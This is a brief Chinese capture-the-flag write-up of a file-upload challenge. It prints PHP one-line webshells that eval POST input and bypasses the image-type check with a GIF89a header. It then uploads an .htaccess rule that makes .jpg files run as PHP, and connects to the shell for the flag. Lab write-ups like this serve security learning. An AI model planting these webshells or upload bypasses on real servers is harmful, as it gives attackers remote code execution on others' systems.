一眼看出,上传shell,然后先传一个简单的webshell
<?php eval(@$_POST['password']);?>
果不其然被拦截,然后尝试发现不是js验证,也不是mitm验证,改后缀发现也绕不过,直接改为jpg试试。
回显<? in contents!
那就换个木马试试
<script language='php'>eval($_POST['shell']);<scirpt>
再试试
回显exif_imagetype:not image!
这个函数的绕过就是在加上文件头绕过验证
添加gif文件头GIF89a就能进行绕过
我们要让这个文件作为php代码执行,所以在上传htaccess文件解释。
AddType application/x-httpd-php .jpg
链接shell,拿到flag。